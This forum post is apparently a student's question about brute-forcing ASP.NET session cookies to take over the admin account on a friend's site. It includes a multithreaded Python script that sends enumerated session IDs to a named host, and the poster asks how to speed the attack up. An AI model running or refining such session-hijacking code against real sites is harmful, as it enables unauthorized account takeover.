title: asp.net hack possibility of sessionId being brute forced using python script
body: <p>i am a newbie here.
  i am studying pentesting for my college project and want to develop a future in the same.
  i have a site hosted by my friend (under mutual consent) he has challenged me to hack into it.
  it is a simple site in asp.net probably 2.0 
  It uses a form to log into the site.
  in my understanding he is generating ASP.NET_SessionId to store authentication. i tried to sign out from the site but the cookie did not expire. now i want to try and login into the admin account using the same method. i am not aware as to where he is logging in from as the admin.
  i wrote this brute force python script to do the same, with 50 threads. as if i spawn more than 50 then the sessions start to get timed out.</p>
  
  <pre><code>#!/usr/bin/python
  import urllib2
  import string
  import itertools
  import threading
  
  threadLimiter = threading.BoundedSemaphore(50)
  
  class checkPage(threading.Thread):
      def __init__(self,sessionID):
          threading.Thread.__init__(self)
              self.sessionID=sessionID
      def run(self):
          threadLimiter.acquire()
          try:
               opener = urllib2.build_opener()
               opener.addheaders.append(('Cookie', 'ASP.NET_SessionId='+self.sessionID))
               f = opener.open("http://mysite.webber.org/default.aspx")
               page = f.read()
               f.close()
               #if logged in write to file
               if 'Welcome' in page:
                   k = open("session.txt","a")
                   k.write(self.sessionID+'\n')
                   k.close()
          finally:
              threadLimiter.release()
  
  count = 0   
  for state in itertools.product('abcdefghijklmnopqrstuvwxyz012345', repeat=24): 
       sessionID = ''.join(state)
       try:   
           thread=checkPage(sessionID)
           thread.start()
       except:
           print "thread cannot be started"
           break
       if count==50:
           thread.join()
           count = 0
      count += 1
  </code></pre>
  
  <p>as per ASP.net the session id is generated by CreateSessionId function and gives an output of 24 bytes with a-z and 0-5.</p>
  
  <p>i intend to steal admin session ID and then use it again to login into the page and gain admin access.</p>
  
  <p>is it a correct approach?</p>
  
  <p>i figure this brute force will probably take forever. what is my best option to reduce the brute force time</p>
  
  <p>thank you.</p>